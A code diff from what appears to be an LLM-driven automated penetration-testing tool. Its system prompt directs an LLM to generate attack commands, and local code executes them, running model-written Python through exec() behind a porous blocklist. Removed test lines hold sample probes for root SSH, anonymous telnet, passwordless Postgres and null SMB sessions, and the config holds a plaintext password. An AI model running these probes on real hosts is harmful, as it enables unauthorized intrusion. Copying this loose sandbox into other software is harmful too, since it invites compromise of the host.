diff --git a/config.yaml b/config.yaml index 7eee4b1..cf2bc41 100644 --- a/config.yaml +++ b/config.yaml @@ -25,13 +25,12 @@ LLM_max_chain_count: 10 #为了避免推理链过长，造成推理效果变差 pw: zfkj_123!@# #服务器端socket -serverIP: 192.168.3.190 -serverPort: 18010 -DevID: 12345678901234567890123456789012 -sockettimeout: 600 #10分钟 +serverURL: www.czzfkj.cn #node_tree_file_name TreeFile: tree_data/attack_tree #task Task_max_threads: 5 +Python_max_procs: 3 +LLM_max_threads: 1 diff --git a/mycode/AttackMap.py b/mycode/AttackMap.py index d80d4bc..33e9704 100644 --- a/mycode/AttackMap.py +++ b/mycode/AttackMap.py @@ -18,7 +18,7 @@ class AttackTree: """根据父节点名称添加新节点""" parent_node = self.find_node_by_name(parent_name) if parent_node: - parent_node.add_child(new_node) + parent_node.add_child(new_node,parent_node.messages) return True return False @@ -75,11 +75,24 @@ class AttackTree: return node return None - def find_node_by_nodepath_parent(self,node_path,node): + def find_node_by_nodepath_parent(self,node_path,node,iadd_node,commands): node_names = node_path.split('->') node_name = node_names[-1] if node_name == node.name:#当前节点 - return node + if iadd_node == 1 and len(node.children)==1: #如果在当前节点下添加了一个子节点，且子节点没有添加指令，就算指令的节点路径是当前节点，也把该测试指令添加给新增的子节点 + bfind = False + for comd in commands: + if node.children[0].name in comd: + bfind = True + break + if not bfind: #正常来说on_instruction已经补充指令了，已经不会有这种情况了，缺点 + print("执行了一次强制迁移指令到子节点！") + return node.children[0] + else: + return node + else: + #添加了多个节点就难对应是哪个节点了，两个解决方案：1.返回当前节点，2.提交llm重新确认指令节点 + return node else: if node_names[-2] == node.name: #父节点是当前节点 for child_node in node.children: @@ -87,7 +100,7 @@ class AttackTree: return child_node #走到这说明没有匹配到-则新建一个节点 newNode = TreeNode(node_name,node.task_id) - node.add_child(newNode) + node.add_child(newNode,node.messages) return newNode else: return None #约束：不处理 @@ -197,16 +210,16 @@ class TreeNode: self.cookie = cookie self.ext_info = ext_info - def copy_messages(self,childe_node): + def copy_messages(self,childe_node,messages): ''' 子节点继承父节点的messages，目前规则保留上两层节点的message信息 :param childe_node: :return: ''' - tmp_messages = copy.deepcopy(self.messages) + tmp_messages = copy.deepcopy(messages) if not self.parent: childe_node.messages = tmp_messages - else: + else:#修改messages传递规则后，messages丢弃逻辑有待进一步验证 parent_path = self.parent.path bfind = False for msg in tmp_messages: @@ -234,11 +247,11 @@ class TreeNode: print("非法的信息体类型！") #添加子节点 - def add_child(self, child_node): + def add_child(self, child_node,messages): child_node.parent = self child_node.path = self.path + f"->{child_node.name}" #子节点的路径赋值 #child_node.messages = copy.deepcopy(self.messages) #传递messages #给什么时候的messages待验证#？ - self.copy_messages(child_node) #传递messages--只保留两层 + self.copy_messages(child_node,messages) #传递messages--只保留两层--两层的逻辑要验证 self.children.append(child_node) @@ -288,10 +301,13 @@ class TreeNode: return self._work_status def updatemsg(self,newtype,newcontent,index): - newmsg = {"llm_type":int(newtype),"result":newcontent} - if self._llm_quere: + + if self._llm_quere:# + oldmsg_llm_type = self._llm_quere[0]["llm_type"] #llm_type不修改，还未验证 + newmsg = {"llm_type": int(oldmsg_llm_type), "result": newcontent} self._llm_quere[0] = newmsg else:#新增消息 + newmsg = {"llm_type": int(newtype), "result": newcontent} self._llm_quere.append(newmsg) #更新节点状态 self._work_status = 3 #待提交 diff --git a/mycode/CommandVerify.py b/mycode/CommandVerify.py index 841c884..d0ad0c5 100644 --- a/mycode/CommandVerify.py +++ b/mycode/CommandVerify.py @@ -7,10 +7,10 @@ class CommandVerify: #验证节点指令的结构完整性--主要是判断JSON元素是否完整 def verify_node_cmds(self,node_cmds): ''' - 验证节点指令的合规性，持续维护 - :param node_cmds: - :param node: - :return: Flase 存在问题， True 合规 +- 新增节点：{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1，节点2\"}； +- 未生成指令节点列表：{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"}； +- 漏洞验证成功：{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息（没有可为空）\"}}； +- 完成测试：{\"action\": \"end_work\", \"node\": \"节点\"}； ''' strerror = "" for node_json in node_cmds: @@ -18,19 +18,24 @@ class CommandVerify: self.logger.error(f"缺少action节点：{node_json}") strerror = {"节点指令错误":f"{node_json}缺少action节点，不符合格式要求!"} break + action = node_json["action"] if action == "add_node": - if "parent" not in node_json or "status" not in node_json or "nodes" not in node_json: + if "parent" not in node_json or "nodes" not in node_json: strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点！"} break - elif action == "update_status": - if "status" not in node_json or "node" not in node_json: + elif action == "end_work": + if "node" not in node_json: strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点！"} break - elif action =="no_instruction" or action=="no_create": + elif action =="no_instruction": if "nodes" not in node_json: strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点！"} break + elif action =="find_vul": + if "node" not in node_json or "vulnerability" not in node_json: + strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点！"} + break else: strerror = {"节点指令错误": f"{node_json}不可识别的action值！"} break @@ -47,49 +52,45 @@ class CommandVerify: if do_type == "add_node": nodes = node_cmd["nodes"].split(",") add_nodes.extend(nodes) - elif do_type == "update_status": - pass #修改节点的完成情况，若有指令已处理修改为未完成 elif do_type == "no_instruction": nodes = node_cmd["nodes"].split(",") no_instr_nodes.extend(nodes) - else: - print("遇到未知节点处理类型") + else:# 其他类型暂时不验证 + pass #核对指令是否有缺失 had_inst_nodes = self._difference_a_simple(add_nodes,no_instr_nodes) #在新增节点，但不在没有指令列表，就是应该要有指令的节点数据 no_add_nodes = self._difference_a_simple(no_instr_nodes,add_nodes) #在未新增指令的节点，但不在新增节点，就是没有add的节点，需要新增 return had_inst_nodes,no_add_nodes - - #--------------辅助函数----------------- def get_path_from_command(self,command): pass - def _difference_a(list_a: list, list_b: list) -> list: + def _difference_a(self,list_a: list, list_b: list) -> list: """获取 list_a 中存在但 list_b 中不存在的元素（去重版）""" set_b = set(list_b) return [x for x in list_a if x not in set_b] - def _difference_b(list_a: list, list_b: list) -> list: + def _difference_b(self,list_a: list, list_b: list) -> list: """获取 list_b 中存在但 list_a 中不存在的元素（去重版）""" set_a = set(list_a) return [x for x in list_b if x not in set_a] - def _difference_a_keep_duplicates(list_a: list, list_b: list) -> list: + def _difference_a_keep_duplicates(self,list_a: list, list_b: list) -> list: """获取 list_a 中存在但 list_b 中不存在的元素（保留所有重复项和顺序）""" set_b = set(list_b) return [x for x in list_a if x not in set_b] - def _difference_b_keep_duplicates(list_a: list, list_b: list) -> list: + def _difference_b_keep_duplicates(self,list_a: list, list_b: list) -> list: """获取 list_b 中存在但 list_a 中不存在的元素（保留所有重复项和顺序）""" set_a = set(list_a) return [x for x in list_b if x not in set_a] - def _difference_a_simple(list_a: list, list_b: list) -> list: + def _difference_a_simple(self,list_a: list, list_b: list) -> list: """集合差集：list_a - list_b""" return list(set(list_a) - set(list_b)) - def _difference_b_simple(list_a: list, list_b: list) -> list: + def _difference_b_simple(self,list_a: list, list_b: list) -> list: """集合差集：list_b - list_a""" return list(set(list_b) - set(list_a)) diff --git a/mycode/DBManager.py b/mycode/DBManager.py index 7555610..a33700d 100644 --- a/mycode/DBManager.py +++ b/mycode/DBManager.py @@ -7,6 +7,7 @@ from myutils.ConfigManager import myCongif from myutils.MyLogger_logger import LogHandler from myutils.MyTime import get_local_timestr from datetime import timedelta +from datetime import datetime, timedelta class DBManager: #实例化数据库管理对象，并连接数据库 @@ -111,7 +112,7 @@ class DBManager: with self.connection.cursor() as cursor: cursor.execute(strsql, params) self.connection.commit() - if itype ==1: + if itype ==1: #只有插入task任务数据的时候是1 task_id = cursor.lastrowid bok = True except Exception as e: @@ -185,6 +186,18 @@ class DBManager: bok,_ = self.safe_do_sql(strsql, params) return bok + def del_task(self,task_id): + params = (task_id) + strsql = "delete from task where ID=%s;" + bok,_ = self.safe_do_sql(strsql,params) + strsql = "delete from task_llm where task_id=%s;" + bok, _ = self.safe_do_sql(strsql, params) + strsql = "delete from task_result where task_id=%s;" + bok, _ = self.safe_do_sql(strsql, params) + strsql = "delete from task_vul where task_id=%s;" + bok, _ = self.safe_do_sql(strsql, params) + return bok + #指令执行结果入库 def insetr_result(self,task_id,instruction,result,do_sn,start_time,end_time,source_result,ext_params,node_path): str_result = "" @@ -261,23 +274,120 @@ class DBManager: #获取任务的测试指令执行情况 def get_task_instrs(self,task_id,nodename): - instrs = [] - return instrs + strsql = ''' + select ID,node_path,do_sn,instruction,result from task_result where task_id = %s + ''' + if nodename.strip(): + strsql += " and nodename like %s;" + params = (task_id,nodename) + else: + strsql += ";" + params = (task_id) + datas = self.safe_do_select(strsql,params) + return datas + + #插入漏洞数据 + def insert_taks_vul(self,task_id,node_name,node_path,vul_type,vul_level,vul_info): + strsql = ''' + INSERT INTO task_vul + (task_id,node_name,node_path,vul_type,vul_level,vul_info) + VALUES (%s,%s,%s,%s,%s,%s) + ''' + params = (task_id,node_name,node_path,vul_type,vul_level,vul_info) + bok,_ = self.safe_do_sql(strsql,params) + return bok #获取任务的漏洞检测情况 def get_task_vul(self,task_id,nodename,vultype,vullevel): - vuls =[] - return vuls + strsql = ''' + select ID,node_path,vul_type,vul_level,vul_info from task_vul + ''' + # 动态构建查询条件 + conditions = ["task_id=%s"] # task_id 必须存在 + params = [task_id] # 参数列表初始化 + + # 按需添加其他条件 + if nodename and nodename.strip(): # 检查nodename是否非空（去除前后空格后） + conditions.append("node_path=%s") + params.append(nodename) + + if vultype and vultype.strip(): # 检查vultype是否非空 + conditions.append("vul_type=%s") + params.append(vultype) + + if vullevel and vullevel.strip(): # 检查vullevel是否非空 + conditions.append("vul_level=%s") + params.append(vullevel) + + # 组合完整的WHERE子句 + if len(conditions) > 0: + strsql += " WHERE " + " AND ".join(conditions) + + # 执行查询（将参数转为元组） + datas = self.safe_do_select(strsql, tuple(params)) + return datas #获取该任务该节点的所有 已经执行的任务 def get_task_node_done_instr(self,task_id,nodepath): strsql = ''' - select instruction,start_time,result from task_result where task_id=%s and node_path=%s; + select instruction,start_time,result from task_result where task_id=%s and node_path=%s order by start_time desc; ''' params = (task_id,nodepath) datas = self.safe_do_select(strsql,params) return datas + def get_his_tasks(self,target_name,safe_rank,llm_type,start_time,end_time): + strsql = "select ID,task_target,safe_rank,llm_type,start_time,end_time from task" + conditions = ["task_status=%s"] + params = [2] + # 按需添加其他条件 + if target_name and target_name.strip(): # 检查nodename是否非空（去除前后空格后） + conditions.append("task_target=%s") + params.append(target_name) + + if safe_rank and safe_rank.strip(): # 检查vultype是否非空 + conditions.append("safe_rank=%s") + params.append(safe_rank) + + if llm_type and llm_type.strip(): # 检查vullevel是否非空 + conditions.append("llm_type=%s") + params.append(llm_type) + + if start_time and start_time.strip(): # 检查vultype是否非空 + conditions.append("start_time >= %s") + start_date = datetime.strptime(start_time, "%Y-%m-%d") + # 生成起始时间字符串（当日 00:00:00） + start_time_str = start_date.strftime("%Y-%m-%d 00:00:00") + params.append(start_time_str) + + if end_time and end_time.strip(): # 检查vullevel是否非空 + conditions.append("end_time < %s") + # 将输入字符串转为日期对象 + end_date = datetime.strptime(end_time, "%Y-%m-%d") + # 生成结束时间字符串（次日 00:00:00） + end_time_str = (end_date + timedelta(days=1)).strftime("%Y-%m-%d 00:00:00") + params.append(end_time_str) + + # 组合完整的WHERE子句 + if len(conditions) > 0: + strsql += " WHERE " + " AND ".join(conditions) + + # 执行查询（将参数转为元组） + datas = self.safe_do_select(strsql, tuple(params)) + return datas + + def getsystem_info(self): + strsql = "select local_ip,version from zf_system;" + data = self.do_select(strsql,1) + return data + + def update_localip(self,local_ip): + strsql = "update zf_system set local_ip=%s;" + params = (local_ip) + bok,_ = self.safe_do_sql(strsql,params) + return bok + + def test(self): # 建立数据库连接 conn = pymysql.connect( diff --git a/mycode/InstructionManager.py b/mycode/InstructionManager.py index 9b58f2c..f6a1ee2 100644 --- a/mycode/InstructionManager.py +++ b/mycode/InstructionManager.py @@ -39,6 +39,10 @@ class InstructionManager: except ImportError as e: print(f"加载工具 {module_name} 失败：{str(e)}") + def get_tool_out_time(self,tool_name): + tool = self.tool_registry[tool_name] + out_time = tool.get_time_out() + return out_time # 执行指令 def execute_instruction(self,instruction): @@ -53,17 +57,18 @@ class InstructionManager: # 检查是否存在对应工具 if tool_name in self.tool_registry: tool = self.tool_registry[tool_name] - print(f"*****开始执行指令：{instruction}") + #print(f"*****开始执行指令：{instruction}") bres,instr, result,source_result,ext_params = tool.execute_instruction(instruction) - #print(f"分析结果：{result}") - print(f"*****指令：{instr}，执行完毕") + #print(f"*****指令：{instr}，执行完毕") else: - bres = False - instr = instruction #保障后续代码的一致性 - source_result = result = f"{tool_name}-该工具暂不支持" - ext_params = ReturnParams() - ext_params["is_user"] = True # 是否要提交用户确认 -- 默认False - ext_params["is_vulnerability"] = False # 是否是脆弱点 + other_tool = self.tool_registry["other"] #尝试直接执行（处理一些组合指令） + bres, instr, result, source_result, ext_params = other_tool.execute_instruction(instruction) + # bres = False + # instr = instruction #保障后续代码的一致性 + # source_result = result = f"{tool_name}-该工具暂不支持" + # ext_params = ReturnParams() + # ext_params["is_user"] = True # 是否要提交用户确认 -- 默认False + # ext_params["is_vulnerability"] = False # 是否是脆弱点 print(f"执行指令：{instr}") print(f"未知工具：{tool_name}") diff --git a/mycode/LLMManager.py b/mycode/LLMManager.py index ee1a0c6..6ba3e65 100644 --- a/mycode/LLMManager.py +++ b/mycode/LLMManager.py @@ -61,34 +61,37 @@ class LLMManager: #根节点初始化message----后续有可能需要为每个LLM生成不同的system msg node.messages = [{"role": "system", "content":''' -你是一位渗透测试专家，基于你的专业知识和经验，负责动态控制整个渗透测试过程，根据当前测试状态和返回结果，决定下一步测试指令，推动测试前进，直至完成渗透测试。本地程序会执行你的指令并返回结果。 +你是一位渗透测试专家，来指导本地程序进行渗透测试，由你负责动态控制整个渗透测试过程，根据当前测试状态和返回结果，决定下一步测试指令，推动测试前进，直至完成渗透测试。 **总体要求** -1.以测试目标为根节点，每个渗透测试点和方向（如端口、服务、漏洞点）作为子节点，形成树型结构（测试树），层层递进； -2.测试树整体数据由本地程序存储，你只需要关注当前节点的测试推进、状态更新(未完成/已完成)及是否有子节点新增； -3.返回的指令有两类：节点指令和测试指令，指令之间必须以空行间隔，不要包含注释和说明； -4.测试时必须为每个不同的测试点和测试方向，新增节点,同时生成对应的测试指令； -5.若一次性新增的节点过多，无法为每个节点都匹配测试指令，请优先保障新增测试节点的完整性，若有未生成测试指令的节点，必须返回未生成指令节点列表； -6.若漏洞验证成功，则根据结果决定是否需要进一步测试，若需要进一步测试，则为测试内容新增子节点并提供测试指令； -7.当当前节点没有新的测试指令时，更新状态为“已完成”； -8.若无需要处理的节点数据，节点指令可以不生成。 +1.以测试目标为根节点，每个渗透测试点（如端口、服务、漏洞点等）作为子节点，形成树型结构（测试树），层层递进； +2.每次规划测试方案时只需要关注当前节点的测试推进、状态更新(未完成/已完成)，以及是否有子节点新增； +3.生成的指令有两类：节点指令和测试指令，指令之间必须以空行间隔，不能包含注释和说明； +4.本地程序会执行生成的指令，但不具备分析和判断能力，只会把执行结果返回给你，执行结果应尽量规避无效的信息； +5.除信息收集外，需要为每个测试验证的漏洞点新增节点,同时生成对应的测试指令； +6.若一次性新增的节点过多，无法为每个节点都匹配测试指令，请优先保障新增测试节点的完整性，若有未生成测试指令的节点，必须返回未生成指令节点列表； +7.若漏洞验证成功，则根据结果评估是否有进一步测试的必要：若有，则为测试内容新增子节点并提供测试指令，若没有，则结束该节点测试； +8.当当前节点没有新的测试指令时，更新状态为“已完成”； +9.若无需要处理的节点数据，节点指令可以不生成。 **测试指令生成准则** -1.明确每个测试指令的测试目标，并优先尝试最简单、最直接的办法，不要生成测试效果覆盖的指令； -2.使用递进逻辑组织指令：先尝试基础测试方法，根据执行结果决定是否进行更深入的测试； +1.使用递进逻辑组织指令：先尝试基础测试方法，根据执行结果决定是否进行更深入的测试，不要同时生成测试效果覆盖的指令； +2.不要生成有前后执行关系的多条shell指令，若不能放一条shell指令内执行，请提供对应的python指令。 **节点指令格式** - 新增节点：{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1，节点2\"}； - 未生成指令节点列表：{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"}； - 漏洞验证成功：{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息（没有可为空）\"}}； - 完成测试：{\"action\": \"end_work\", \"node\": \"节点\"}； **测试指令格式** -- shell指令：```bash-[节点路径]指令内容```包裹，需要避免用户交互,若涉及到多步指令，请生成python代码； +- dash指令：```dash-[节点路径]指令内容```包裹，需要避免用户交互，若涉及到多步指令，请生成python指令； - python指令：```python-[节点路径]指令内容```包裹，主函数名为dynamic_fun，需包含错误处理，必须返回一个tuple(status, output)； -- [节点路径]为从根节点到目标节点的完整层级路径，且需要与指令的目标节点一致。 +- [节点路径]为从根节点到目标节点的完整层级路径； **核心要求** -- 指令之间必须要有一个空行。 +- 指令之间必须要有一个空行； +- 需确保测试指令的节点路径和指令的目标节点一致； +- 所有测试指令必须要能返回。 **响应示例** -{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\", \"status\": \"未完成\"} +{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"} -```bash-[目标系统->192.168.1.100->3306端口] +```dash-[目标系统->192.168.1.100->3306端口] mysql -u root -p 192.168.1.100 ``` '''}] # 一个messages @@ -125,9 +128,9 @@ mysql -u root -p 192.168.1.100 if self.model == "deepseek-reasoner": #返回错误码：DS-https://api-docs.deepseek.com/zh-cn/quick_start/error_codes reasoning_content = response.choices[0].message.reasoning_content #推理过程 - print(reasoning_content) + #print(reasoning_content) content = response.choices[0].message.content #推理内容 - print(content) + #print(content) # 记录llm历史信息 node.messages.append({'role': 'assistant', 'content': content}) elif self.model == "deepseek-chat": @@ -155,7 +158,7 @@ mysql -u root -p 192.168.1.100 渗透测试指令 提取命令列表，包括： 1. Python 代码块 python[](.*?) - 2. Shell 命令``bash[](.*?)``` + 2. Shell 命令``dash[](.*?)``` :param text: 输入文本 :return: node_cmds,python_blocks,shell_blocks ''' @@ -166,13 +169,13 @@ mysql -u root -p 192.168.1.100 python_blocks = [block.strip() for block in python_blocks] #正则匹配shell指令 - shell_blocks = re.findall(f"```bash-(.*?)```", response_text, flags=re.DOTALL) + shell_blocks = re.findall(f"```dash-(.*?)```", response_text, flags=re.DOTALL) shell_blocks = [block.strip() for block in shell_blocks] # 按连续的空行拆分 - # 移除 Python和bash 代码块 + # 移除 Python和dash 代码块 text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL) - text = re.sub(r"```bash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL) + text = re.sub(r"```dash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL) # 这里用 \n\s*\n 匹配一个或多个空白行 parts = re.split(r'\n\s*\n', text) @@ -218,62 +221,5 @@ mysql -u root -p 192.168.1.100 if __name__ == "__main__": llm = LLMManager(3) - content = ''' - "```bash-[目标系统->192.168.204.137->22端口] -ssh -o BatchMode=yes -o ConnectTimeout=5 root@192.168.204.137 -``` - -```bash-[目标系统->192.168.204.137->23端口] -telnet 192.168.204.137 23 <<<'user anonymous' -``` - -```bash-[目标系统->192.168.204.137->5432端口] -PGPASSWORD='' psql -h 192.168.204.137 -U postgres -c '\l' -``` - -```bash-[目标系统->192.168.204.137->2121端口] -ftp -nv 192.168.204.137 2121 <192.168.204.137->139端口] -smbclient -L //192.168.204.137/ -N -p 139 -``` - -```python-[目标系统->192.168.204.137->513端口] -import socket - -def dynamic_fun(): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - s.connect(('192.168.204.137', 513)) - s.send(b'localhost\n') - response = s.recv(1024) - s.close() - return ('open' if response else 'closed', response.decode(errors='ignore')) - except Exception as e: - return ('error', str(e)) -``` - -{"action": "no_instruction", "nodes": "514端口"}" - ''' - node_cmds,commands = llm.fetch_instruction(content) - print(node_cmds,commands) - - for node_json in node_cmds: - action = node_json["action"] - if action == "update_status": - print("update") - elif action == "no_instruction": - # 返回的未生成指令的数据进行校验：1.要有数据；2.节点不是当前节点就是子节点 - nodes = [] - node_names = node_json["nodes"].split(',') - for node_name in node_names: - print(node_name) - print("111") - diff --git a/mycode/PythonTManager.py b/mycode/PythonTManager.py new file mode 100644 index 0000000..839aee8 --- /dev/null +++ b/mycode/PythonTManager.py @@ -0,0 +1,38 @@ +import queue +import threading +import time +from mycode.PythoncodeTool import PythoncodeTool + + +class PythonTManager: + def __init__(self,maxnum): + self.brun = True + self.cur_num = 0 + self.put_lock = threading.Lock() + # 构建进程池--Python 代码的执行在子进程完成-3个子进程 + self.maxnum = maxnum + self.python_tool = PythoncodeTool(maxnum) #python工具实例 + + def __del__(self): + self.python_tool.shutdown() + + def execute_instruction(self,instruction): + bwork = False + while self.brun: + with self.put_lock: + if self.cur_num < self.maxnum: + self.cur_num += 1 + bwork = True + if bwork:#还有空的子进程 + #提交给进程池执行 + _,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction) + #执行完成后，数量减一 + with self.put_lock: + self.cur_num -= 1 + #返回结果 + return instruction,analysis,analysis,ext_params + else: #如果没获取的许可，则等待N秒后再尝试---存在问题：多线程间没有先来先到的机制了，有可能第一个来排队的一直等到最后 + time.sleep(20) #休眠20秒 + + + diff --git a/mycode/PythoncodeTool.py b/mycode/PythoncodeTool.py new file mode 100644 index 0000000..ee8ba91 --- /dev/null +++ b/mycode/PythoncodeTool.py @@ -0,0 +1,230 @@ +#python代码动态执行 +import queue +import ast +import subprocess +import json +import builtins +import re +import paramiko +import impacket +import psycopg2 +import socket +import struct +import sys +import requests +import ssl +import mysql.connector +import telnetlib +import time +import uuid +import multiprocessing +import textwrap +from mycode.Result_merge import my_merge +from ftplib import FTP +from requests.auth import HTTPBasicAuth + +from myutils.ReturnParams import ReturnParams +from concurrent.futures import ProcessPoolExecutor, TimeoutError + +# -------------------------------------------- +# 1) 全局 helper：放在模块顶层，才能被子进程 picklable 调用 +# -------------------------------------------- +def _execute_dynamic(instruction_str): + """ + 在子进程中执行 instruction_str 所描述的 dynamic_fun， + 并返回 (status: bool, output: str)。 + """ + # 允许的内置函数白名单 + allowed_builtins = { + '__name__': __name__, + '__import__': builtins.__import__, + 'abs': abs, 'all': all, 'any': any, 'bool': bool, + 'chr': chr, 'dict': dict, 'enumerate': enumerate, + 'float': float, 'int': int, 'len': len, 'list': list, + 'max': max, 'min': min, 'print': print, 'range': range, + 'set': set, 'str': str, 'sum': sum, 'type': type, + 'open': open, 'Exception': Exception, 'locals': locals + } + # 构造安全的 globals + safe_globals = { + '__builtins__': allowed_builtins, + 'subprocess': subprocess, + 'json': json, + 're': re, + 'paramiko': paramiko, + 'impacket': impacket, + 'psycopg2': psycopg2, + 'socket': socket, + 'mysql': mysql, + 'mysql.connector': mysql.connector, + 'struct': struct, + 'sys': sys, + 'requests': requests, + 'ssl': ssl, + 'FTP': FTP, + 'HTTPBasicAuth': HTTPBasicAuth, + 'telnetlib': telnetlib, + 'time': time, + 'uuid':uuid, + } + safe_locals = {} + try: + # 编译并执行用户提供的 code 字符串 + compiled = compile(instruction_str, '', 'exec') + exec(compiled, safe_globals, safe_locals) + + # dynamic_fun 必须存在 + if 'dynamic_fun' not in safe_locals: + return False, "Function dynamic_fun() 未定义" + + # 调用它并返回结果 + res = safe_locals['dynamic_fun']() + if not (isinstance(res, tuple) and len(res) == 2 and isinstance(res[0], bool)): + return False, "dynamic_fun 返回值格式不对" + return res + except MemoryError: + return False, "内存溢出" + except RecursionError: + return False, "递归深度过深" + except Exception as e: + return False, f"子进程执行出错: {e}" + +class PythoncodeTool(): + def __init__(self,max_num): + self.proc_pool = ProcessPoolExecutor(max_workers=max_num) + + def preprocess(self,code: str) -> str: + # 去掉最外层空行 + code = code.strip('\n') + # 去除多余缩进 + return textwrap.dedent(code) + + def is_safe_code(self,code): + # List of high-risk functions to block (can be adjusted based on requirements) + # 只屏蔽这些“完整”函数调用 + HIGH_RISK = { + 'eval', # eval(...) + 'exec', # exec(...) + 'os.system', # os.system(...) + 'subprocess.call', # subprocess.call(...) + 'subprocess.Popen' # subprocess.Popen(...) + } + try: + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Call): + fn = node.func + # 1) 裸 exec/eval + if isinstance(fn, ast.Name): + if fn.id in ('exec', 'eval'): + return False,"有高风险函数，暂不执行！" + + # 2) 模块级别的 os.system、subprocess.call、subprocess.Popen + elif isinstance(fn, ast.Attribute): + # value 必须是 Name，才算"模块.方法" + if isinstance(fn.value, ast.Name): + fullname = f"{fn.value.id}.{fn.attr}" + if fullname in HIGH_RISK: + return False,"有高风险函数，暂不执行！" + + return True,"" + + except SyntaxError as se: + # 语法都不通过，也算不安全 + print("解析失败！", se, "第", se.lineno, "行") + print("出错的那行是：", code.splitlines()[se.lineno - 1]) + return False,str(se) + + def validate_instruction(self, instruction): + #指令过滤 + timeout = 60*10 + instr = instruction.replace("python_code ","") + instr = instr.replace("python-code ", "") + instr = self.preprocess(instr) + # Safety check + bsafe,error = self.is_safe_code((instr)) + if not bsafe: + return "", timeout,error + return instr,timeout,"" + + def safe_import(self,name,*args,**kwargs): + ALLOWED_MODULES = ['subprocess', 'json','re'] + if name not in ALLOWED_MODULES: + raise ImportError(f"Import of '{name}' is not allowed") + return builtins.__import__(name, *args, **kwargs) + + def _run_dynamic(self, safe_locals, q): + """子进程执行 dynamic_fun 并把结果放入队列""" + try: + fn = safe_locals['dynamic_fun'] + res = fn() + q.put(res) + except Exception as e: + q.put((False, f"执行出错: {e}")) + + def execute_instruction(self, instruction_old): + ''' + 执行指令：验证合法性 -> 执行 -> 分析结果 + :param instruction_old: + :return: + bool:true-正常返回给大模型，false-结果不返回给大模型 + str:执行的指令 + str:执行指令的结果 + ''' + ext_params = ReturnParams() + ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False + ext_params["is_vulnerability"] = False # 是否是脆弱点 + + # 第一步：验证指令合法性 + instruction,time_out,error = self.validate_instruction(instruction_old) + if not instruction: + return False, instruction_old, error,"",ext_params + # 过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ + + # 第二步：执行指令 + future = self.proc_pool.submit(_execute_dynamic, instruction) + try: + # 在主进程中等待结果，超时则抛 TimeoutError + status, tmpout = future.result(timeout=time_out) #这里是阻塞的 + except TimeoutError: + # 超时处理 + future.cancel() + status, tmpout = False, f"执行超时（{time_out} 秒）" + except Exception as e: + # 其他异常 + status, tmpout = False, f"提交子进程运行出错: {e}" + output = f"status:{status},output:{tmpout}" + + # 第三步：分析执行结果 + analysis = self.analyze_result(output, instruction,"","") + # 指令和结果入数据库 + # ？ + if not analysis: # analysis为“” 不提交LLM + return False, instruction, analysis,"",ext_params + return True, instruction, analysis,"",ext_params + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 --- 要不要限定一个max_len? + if "enum4linux " in instruction: #存在指令包装成Python代码返回的情况 + result = my_merge("enum4linux",result) + else: + if len(result) > 3000: #超过2000长度时，尝试去重重复行 + lines = result.splitlines() + seen = set() + unique_lines = [] + for line in lines: + if line not in seen: + seen.add(line) + unique_lines.append(line) + return "\n".join(unique_lines) + return result + + #关闭进程池 + def shutdown(self): + self.proc_pool.shutdown(wait=True) + +if __name__ == "__main__": + llm_code = """ + def run_test(): + return 'Penetration test executed successfully!' + """ \ No newline at end of file diff --git a/mycode/RsikManager.py b/mycode/RsikManager.py new file mode 100644 index 0000000..30d3c26 --- /dev/null +++ b/mycode/RsikManager.py @@ -0,0 +1,5 @@ + +class RsikManager: + def __init__(self): + pass + diff --git a/mycode/TaskManager.py b/mycode/TaskManager.py index fa5b3ba..b36f5e3 100644 --- a/mycode/TaskManager.py +++ b/mycode/TaskManager.py @@ -79,6 +79,13 @@ class TaskManager: else: return False,"没有找到对应的任务" + def del_task(self,task_id): + if g_PKM.DelData(str(task_id)): + bsuccess = app_DBM.del_task(task_id) + return bsuccess,"" + else: + return False,"删除对应文件失败" + #控制task启停----线程不停 def control_taks(self,task_id): task = self.tasks[task_id] @@ -112,6 +119,14 @@ class TaskManager: return tree_dict return None + #获取历史节点树数据 + def get_his_node_tree(self,task_id): + attack_tree = g_PKM.ReadData(str(task_id)) + if attack_tree: + tree_dict = attack_tree.get_node_dict() + return tree_dict + return None + #修改任务的工作模式，只有在暂停状态才能修改 def update_task_work_type(self,task_id,new_work_type): task = self.tasks[task_id] @@ -192,6 +207,10 @@ class TaskManager: return node.del_instr(instr) return False,"找不到对应节点！" + def get_his_tasks(self,target_name,safe_rank,llm_type,start_time,end_time): + tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time) + return tasks + #------------以下函数还未验证处理----------- diff --git a/mycode/TaskObject.py b/mycode/TaskObject.py index 407e898..c9f6b4b 100644 --- a/mycode/TaskObject.py +++ b/mycode/TaskObject.py @@ -14,6 +14,7 @@ from myutils.PickleManager import g_PKM from myutils.ConfigManager import myCongif from mycode.WebSocketManager import g_WSM from mycode.CommandVerify import g_CV +from mycode.PythonTManager import PythonTManager import asyncio import queue import time @@ -29,6 +30,7 @@ class TaskObject: self.taskM = taskM self.logger = LogHandler().get_logger("TaskObject") self.InstrM = g_instrM # 